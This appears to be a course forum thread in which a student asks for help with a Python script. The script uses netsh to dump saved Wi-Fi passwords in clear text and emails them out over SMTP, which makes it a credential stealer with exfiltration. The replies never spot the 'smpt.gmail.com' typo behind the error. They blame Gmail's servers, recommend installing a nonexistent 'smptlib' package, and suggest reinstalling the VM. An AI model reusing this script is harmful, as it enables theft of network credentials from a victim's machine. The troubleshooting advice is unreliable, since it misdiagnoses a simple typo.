Hello ,

When i run this code:

#!usr/bin/env python

 

import subprocess, smtplib, re

 

 

def send_mail(email, password, message):

    server = smtplib.SMTP("smpt.gmail.com", 587)

    server.starttls()

    server.login(email, password)

    server.sendmail(email, email, message)

    server.quit()

 

 

results = ""

command = "netsh wlan show profile"

networks = subprocess.check_output(command, shell=True)

network_names_list = re.findall("(?:Profile\s*:\s*)(.*)", networks)

for network_name in network_names_list:

    command = "netsh wlan show profile" + network_name + "key=clear"

    current_results = subprocess.check_output(command, shell=False)

    results = results + current_results

 

send_mail("[email protected]", "xxxxxxx", results)

I get this error:

C:\Users\IEUser\Downloads>C:\Python27\python.exe execute_and_report.py

Traceback (most recent call last):

  File "execute_and_report.py", line 23, in <module>

    send_mail("[email protected]", "xxxxxxxxxx", results)

  File "execute_and_report.py", line 7, in send_mail

    server = smtplib.SMTP("smpt.gmail.com", 587)

  File "C:\Python27\lib\smtplib.py", line 256, in __init__

    (code, msg) = self.connect(host, port)

  File "C:\Python27\lib\smtplib.py", line 317, in connect

    self.sock = self._get_socket(host, port, self.timeout)

  File "C:\Python27\lib\smtplib.py", line 292, in _get_socket

    return socket.create_connection((host, port), timeout)

  File "C:\Python27\lib\socket.py", line 557, in create_connection

    for res in getaddrinfo(host, port, 0, SOCK_STREAM):

socket.gaierror: [Errno 11001] getaddrinfo failed

I covered email and password here but they are correct.

Can you please help?

Hi Peter!
Yeah, the issue is related to conectivity with smtp server, Are you shure that windows vm has internet connection while running the script?

Let me know.
Diego

[Peter Queen]

Hello Diego,

Yes I have connection.

Please advise

[Diego Pérez]

Hi Peter!
The only solution is to try again cause this is an issue with gamil servers and not with your code.

Let me know how it goes!

Hello Diego,

I tried over and over but doesn’t work, can I connect to another server instead of Gmail?

[Diego Pérez]

Hi Peter!

First can you try to update smtplib? Just run:

python.exe -m pip install smptlib

This will install any update if available, also consider that you have to provide the full path for python.exe

Let me know how it goes!

Hello Diego,

When I try to install smptlib I get this error:

DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip, can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support

Please advise

Hi Peter!
That’s weired, are you trying this in your host machine or in a virtual one?

Let me know.
Diego

Hello Diego,

I am trying it on the Windows VM machine.

Anything I can do ?

[Diego Pérez]

Hi Peter!
Which exact version of python interpreter did you installed? I have tried it in 2.7.18 and it worked without issues, so maybe you can try to delete the current version and install the one I mentioned.

Let me know how it goes!
Diego

Hello Diego,

I have 2.7.18, I have now created a new Windows VM, downloaded Python and still when i try to import smptlib i get the same error!I import pyinstaller and it worked fine. Can you think of any solution? Should I dload Python 3? If so I did not take note of the Python 3 difference in the codes.

Thanks

[Diego Pérez]

Hi Peter!

So you said it’s working when you have installed pyinstaller isn’t it? Are you recieving emails now? And yes, you can change the code to make it work with python3.

Let me know how it goes!
Diego

[Peter Queen]

Hello Diego,

What I meant is pip worked to install pyinstaller but still I can’t manage to install smptlib! I read that it comes already installed in python and it is just a matter of importing it. Any more suggestions? Being not able to send mail it’s a problem.

Thanks

[Diego Pérez]

Hi Peter!
Then I would recommend to remove this windows machine and import a fresh one, because that shouldn’t be happening. Did you download it from Microsoft’s official site?

Let me know.
Diego

[Peter Queen]

Hello Diego,

Yes I did and I already imported a fresh one and I get the same error!
